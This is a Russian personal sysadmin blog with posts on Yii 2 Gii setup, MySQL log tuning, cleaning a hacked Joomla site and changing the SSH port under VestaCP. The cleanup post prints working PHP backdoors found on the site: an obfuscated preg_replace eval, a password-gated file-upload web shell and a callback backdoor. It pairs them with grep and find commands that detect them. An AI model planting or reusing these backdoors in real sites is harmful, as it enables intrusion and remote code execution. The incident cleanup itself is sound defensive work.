воскресенье, 4 сентября 2016 г.

Не работает Gii в Yii 2.0. Исправлено.

1. Если еше не установлен yii2-gii, то добавляем нижеследующую строку в required-dev файла composer.json

"yiisoft/yii2-gii": "*"

2: Обновляем composer.

3: Добавляем нижеследующую строку в файл frontend/config/main.php.

  'modules' => [
    'gii' => [
      'class' => 'yii\gii\Module', //adding gii module
      'allowedIPs' => ['127.0.0.1', '::1']  //allowing ip's
    ],
  ]



4:Проверяем работу перейдя в браузере по адресу

project_name/frontend/web/index.php?r=gii

пятница, 1 апреля 2016 г.

Настройка log в mysql

Сегодня c моего vps сервера пришло сообщение, что он не может сохранить бекап сайта, т.к. нет места на дислке. Это притом, что в у меня диск на 20Г и из них первоначально было занято максимум 2Гига.

Начал я смотреть что же съело все место. Помогла команда

sudo ncdu /

Оказалось, что примерно 14Гигов занимал файл
/var/log/mysql/access.log

И так у меня назрел вопрос оптимизазии логов mysql
Открываю файл настроек mysql

 sudo nano /etc/mysql/my.cnf

[client]
port=3306
socket=/var/run/mysqld/mysqld.sock

[mysqld_safe]
socket=/var/run/mysqld/mysqld.sock

[mysqld]
user=mysql
pid-file=/var/run/mysqld/mysqld.pid
socket=/var/run/mysqld/mysqld.sock
port=3306
basedir=/usr
datadir=/var/lib/mysql
tmpdir=/tmp
lc-messages-dir=/usr/share/mysql
log=/var/log/mysql/access.log
log_error=/var/log/mysql/error.log
log_warnings=2
max_connections=200
max_user_connections=30
#wait_timeout=30
wait_timeout=14400
interactive_timeout=50
long_query_time=5
innodb_file_per_table

!includedir /etc/mysql/conf.d/


И вижу, что в /var/log/mysql/access.log пишутся все выполняемые запросы на сервере. Поскольку отладкой сайта я сейчас не занимаюсь, то данный лог мне сейчас не нужен, закоментирую его. А в дополнение лучше включу лог медленных запросов. В итоге мой файл настроек mysql будет следующим.

[client]
port=3306
socket=/var/run/mysqld/mysqld.sock

[mysqld_safe]
socket=/var/run/mysqld/mysqld.sock

[mysqld]
user=mysql
pid-file=/var/run/mysqld/mysqld.pid
socket=/var/run/mysqld/mysqld.sock
port=3306
basedir=/usr
datadir=/var/lib/mysql
tmpdir=/tmp
lc-messages-dir=/usr/share/mysql

#log=/var/log/mysql/mysql-queries.log

log-slow-queries=/var/log/mysql-slow-queries.log
log_error=/var/log/mysql/error.log
log_warnings=2
max_connections=200
max_user_connections=30
#wait_timeout=30
wait_timeout=14400
interactive_timeout=50
long_query_time=5
innodb_file_per_table

!includedir /etc/mysql/conf.d/


Ну и напоследок перезагрузим mysql
sudo /etc/init.d/mysql restart

среда, 23 марта 2016 г.

Проверка безопасности сайта после взлома

Проверьте уровень разрешений для файлов и папок (например, 777 разрешает запись любому пользователю). Помните, что хакеры часто меняют разрешения, оставляя себе лазейку для возврата на сайт.
  • Проверьте все каталоги с разрешением выше 755 (rwxr-xr-x). Понизьте уровень доступа, если в нем нет крайней необходимости. В Unix-подобных системах используйте команду:
    find <имя-каталога> -type d -not -perm 755 -exec ls -ld {} \;
  • Проверьте все файлы с разрешением выше 644 (rw-r--r--). Понизьте уровень доступа, если в нем нет крайней необходимости.
    find <имя-каталога> -type f -not -perm 644 -exec ls -la {} \;
     
     
     
    Меняем права на папки и файлы, предварительно перейдя в каталог с сайтом 
    find ./ -type d -print0 | xargs -0 chmod 0755 # for directories
    find ./ -type f -print0 | xargs -0 chmod 0644 # for files
     
     
    После взлома остается много файлов с таким содержанием
    <?php if($_GET['test']){echo 'success';}else{($www= $_POST['gaw7b']) 
    && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');} 
    
    
    Ключевой фразой котрая как правило не используется в обычных сайтах является
    preg_replace('/ad/e' 
     
    Поэтому ищем все сайты с таким содержимым и удаляем или чистим их
    sudo grep -iRI "preg_replace('/ad/e'" /путь/к/вашему/сайту.com/
    
    
    также я заметил, что у злоумышленников принято слова в файлах разделять тире, 
    а в моем сайте на joomla используется подчеркивание.
     
    поэтому ищем все php файлы с тире
    sudo find /путь/к/вашему/сайту.com/ -name *-*.php 
     
    Помимо некоторого количество языковых фалов и файлов кеша, 
    в названии  которых используется тире,было найдено немного интересного
    /components/com_users/views/registration/conf-e0.php
    /plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php
    /administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.php
    /administrator/components/com_installer/views/update/tmpl/utf8-99.php
     
     
    в файле /plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php был найден
    загрузчик 
    <?php if(md5($_GET["ms-load"])=="e4ec7518484164c0c70e3147d84be250"){
    $p=$_SERVER["DOCUMENT_ROOT"];
    $tyuf=dirname(__FILE__);
    echo <<<HTML
    <form enctype="multipart/form-data"  method="POST">
    Path:$p<br>
    <input name="file" type="file"><br>
    To:<br>
    <input size="48" value="$tyuf/" name="pt" type="text"><br>
    <input type="submit" value="Upload">
    $tend
    HTML;
    if (isset($_POST["pt"])){
    $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
    if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
    if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
    echo"uploaded:$uploadfilen";
    echo"Size:".$_FILES["file"]["size"]."n";
    }else {
    print "Error:n";
    }
    }
    }
    
    
    в файле /administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.php
    тоже интересное
    <?php
        $id = $_GET['pppj3'];
        echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
        $s = '';
        foreach(array($id) as $v){
            $s.=$v;
        }
        ob_start($s);
        if($catid){
                echo $catid;
        }
        ob_end_flush();
    
    Остальных двух файлах была вышеприведенная строка с preg_replace('/ad/e'
    
    
    
    
    
    

суббота, 23 января 2016 г.

Замена стандарного порта ssh в панели VestaCP на Debian сервер

После взлома сайта спамерами решил обезопасить свой VPS хостинг.
Сперва решил поменять порт ssh со стандартного 22 на например 12345
Полной информации в одном месте не нашел, поэтому решил написать себе памятку.

Для начала меняем порт в конфигурации сервиса ssh

sudo nano /etc/ssh/sshd_config

Находим строку Port 22 и меняем порт на свой.

Перезапускаем ssh

sudo /etc/init.d/sshd restart

Проверяем на каком порту запустился ssh

sudo netstat -anp | grep ssh

Видим новый порт и ни в коем случае не закрываем  текущее соединение ssh, а то без дальнейших изменений вы не зайдете. Придется подключатся через VNC хостинг панели.

Как правило на этом все статьи заканчиваются, иногда кто-то упоминает вскользь, что нужно открыть новый порт в firewall.

Но поскольку на сервере стоит панель  управления хостингом, то открытие нового порта оказалось не тривиальной задачей.

По умолчанию все настройки фаервола для VestaCP хранятся в двух файлах

Для исходящих соединений

sudo nano /usr/local/vesta/data/firewall/ports.conf

содержимое по умолчанию

PROTOCOL='TCP' PORT='20'
PROTOCOL='TCP' PORT='21'
PROTOCOL='TCP' PORT='22'
PROTOCOL='TCP' PORT='25'
PROTOCOL='UDP' PORT='53'
PROTOCOL='TCP' PORT='80'
PROTOCOL='TCP' PORT='443'
PROTOCOL='TCP' PORT='110'
PROTOCOL='UDP' PORT='123'
PROTOCOL='TCP' PORT='143'
PROTOCOL='TCP' PORT='3306'
PROTOCOL='TCP' PORT='5432'
PROTOCOL='TCP' PORT='8080'
PROTOCOL='TCP' PORT='8433'
PROTOCOL='TCP' PORT='8083'
PROTOCOL='TCP' PORT='12000:12100


Для входящих соединений

sudo nano /usr/local/vesta/data/firewall/rules.conf

Содержимое по умолчанию

RULE='1' ACTION='ACCEPT' PROTOCOL='ICMP' PORT='0' IP='0.0.0.0/0' COMMENT='PING' SUSPENDED='no' TIME='17:13:48' DATE='2014-09-16'
RULE='2' ACTION='ACCEPT' PROTOCOL='TCP' PORT='8083' IP='0.0.0.0/0' COMMENT='VESTA' SUSPENDED='no' TIME='07:40:16' DATE='2014-05-25'
RULE='3' ACTION='ACCEPT' PROTOCOL='TCP' PORT='3306,5432' IP='0.0.0.0/0' COMMENT='DB' SUSPENDED='no' TIME='07:40:16' DATE='2014-05-25'
RULE='4' ACTION='ACCEPT' PROTOCOL='TCP' PORT='143,993' IP='0.0.0.0/0' COMMENT='IMAP' SUSPENDED='no' TIME='07:40:16' DATE='2014-05-25'
RULE='5' ACTION='ACCEPT' PROTOCOL='TCP' PORT='110,995' IP='0.0.0.0/0' COMMENT='POP3' SUSPENDED='no' TIME='07:40:16' DATE='2014-05-25'
RULE='6' ACTION='ACCEPT' PROTOCOL='TCP' PORT='25,465,587,2525' IP='0.0.0.0/0' COMMENT='SMTP' SUSPENDED='no' TIME='07:40:16' DATE='2014-05-25'
RULE='7' ACTION='ACCEPT' PROTOCOL='UDP' PORT='53' IP='0.0.0.0/0' COMMENT='DNS' SUSPENDED='no' TIME='07:40:16' DATE='2014-05-25'
RULE='8' ACTION='ACCEPT' PROTOCOL='TCP' PORT='21,12000-12100' IP='0.0.0.0/0' COMMENT='FTP' SUSPENDED='no' TIME='07:40:16' DATE='2014-05-25'
RULE='9' ACTION='ACCEPT' PROTOCOL='TCP' PORT='80,443' IP='0.0.0.0/0' COMMENT='WEB' SUSPENDED='no' TIME='17:04:27' DATE='2014-09-24'
RULE='10' ACTION='ACCEPT' PROTOCOL='TCP' PORT='22' IP='0.0.0.0/0' COMMENT='SSH' SUSPENDED='no' TIME='23:05:15' DATE='2016-01-23'


Также есть третий файл в котором прописан порт ssh, в той же папке где хранятся и предыдущие файлы. Но я пока не понял его назначения)) Но но на всякий случай поменял порт и в нем

sudo nano /usr/local/vesta/data/firewall/chains.conf

Содержимое по умолчанию

CHAIN='SSH' PORT='22' PROTOCOL='TCP'
CHAIN='MAIL' PORT='25,465,587,2525,110,995,143,993' PROTOCOL='TCP'
CHAIN='VESTA' PORT='8083' PROTOCOL='TCP'
CHAIN='FTP' PORT='21' PROTOCOL='TCP'


Вот как выглядит iptables

sudo iptables -L --line-number

Chain INPUT (policy DROP)
num  target     prot opt source               destination        
1    fail2ban-ssh  tcp  --  anywhere             anywhere             multiport dports ssh
2    fail2ban-FTP  tcp  --  anywhere             anywhere             tcp dpt:ftp
3    fail2ban-VESTA  tcp  --  anywhere             anywhere             tcp dpt:8083
4    fail2ban-MAIL  tcp  --  anywhere             anywhere             multiport dports smtp,ssmtp,submission,2525,pop3,pop3s,imap2,imaps
5    fail2ban-SSH  tcp  --  anywhere             anywhere             tcp dpt:22
6    ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:22
7    ACCEPT     tcp  --  anywhere             anywhere             multiport dports http,https
8    ACCEPT     tcp  --  anywhere             anywhere             multiport dports ftp,12000:12100
9    ACCEPT     udp  --  anywhere             anywhere             udp dpt:domain
10   ACCEPT     tcp  --  anywhere             anywhere             multiport dports smtp,ssmtp,submission,2525
11   ACCEPT     tcp  --  anywhere             anywhere             multiport dports pop3,pop3s
12   ACCEPT     tcp  --  anywhere             anywhere             multiport dports imap2,imaps
13   ACCEPT     tcp  --  anywhere             anywhere             multiport dports mysql,postgresql
14   ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:8083
15   ACCEPT     icmp --  anywhere             anywhere           
16   ACCEPT     all  --  mszerg.pp.ua         anywhere           
17   ACCEPT     all  --  localhost            anywhere           
18   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:ftp-data
19   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:ftp
20   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:22
21   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:smtp
22   ACCEPT     udp  --  anywhere             anywhere             udp spt:domain
23   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:http
24   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:https
25   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:pop3
26   ACCEPT     udp  --  anywhere             anywhere             udp spt:ntp
27   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:imap2
28   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:mysql
29   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:postgresql
30   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:http-alt
31   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:8433
32   ACCEPT     tcp  --  anywhere             anywhere             tcp spt:8083
33   ACCEPT     tcp  --  anywhere             anywhere             tcp spts:12000:12100
34   ACCEPT     tcp  --  anywhere             anywhere             state RELATED,ESTABLISHED

Chain FORWARD (policy ACCEPT)
num  target     prot opt source               destination        

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination        

Chain fail2ban-FTP (1 references)
num  target     prot opt source               destination        
1    RETURN     all  --  anywhere             anywhere           

Chain fail2ban-MAIL (1 references)
num  target     prot opt source               destination        
1    RETURN     all  --  anywhere             anywhere           

Chain fail2ban-SSH (1 references)
num  target     prot opt source               destination        
1    RETURN     all  --  anywhere             anywhere           

Chain fail2ban-VESTA (1 references)
num  target     prot opt source               destination        
1    RETURN     all  --  anywhere             anywhere           

Chain fail2ban-ssh (1 references)
num  target     prot opt source               destination        
1    RETURN     all  --  anywhere             anywhere           

Chain vesta (0 references)
num  target     prot opt source               destination         



В общем меняем в этих трех фалах порт 22 на свой, после чего пере запускаем фаервол VestaCP

sudo /usr/local/vesta/bin/v-update-firewall


После этого вы сможете подключится к ssh по новому порту

Например в Ubuntu это можно сделать так

ssh -p 12345 admin@ip.saita

Если что-то пошло не так, как получилось у меня))
По какой-то причине, после того как я пытался добавить новое правило в фаервол через веб-панель VestaCP у меня обнулились первые два файла ports.conf и rules.conf

Естественно пропал любой доступ на хостин и перестал работать сайт в
браузере.


Пришлось заходить на сервер через по VNC через хостинг панель. А далее открыть себе хоть какой-нибудь порт что бы приступить к востановлению сервер.
Мне пригодились следующие команды


Просмотр действующих правил фаервола
sudo iptables -L --line-number



Открыть порт, например что бы заработала панель VestaCP в браузере и доступ по ssh на старом или новом порте, в зависимости что у вас стоит в
/etc/ssh/sshd_config
sudo iptables -I INPUT 1 -p tcp --dport 8083 -j ACCEPT
sudo iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT

Удаление правила по его номеру
sudo iptables -D INPUT 8

Сохранение правил фаервола

sudo iptables-save


Для надежности я еще останавливал fail2ban, что бы он убрал свои правила из iptables
sudo /etc/init.d/fail2ban stop


Удаление всех правил из iptables
iptables -t nat -F
iptables -t filter -F
iptables -t mangle -F



Просмотр портов с котороыми работает ваш сервер
sudo netstat -tupln | grep LISTEN

Путем разных комбинаций этих команд мне удалось восстановить доступ к серверу и правильно настроить изменение порта ssh на альтернативный в панели управления хостингом VestaCP на сервере Debian.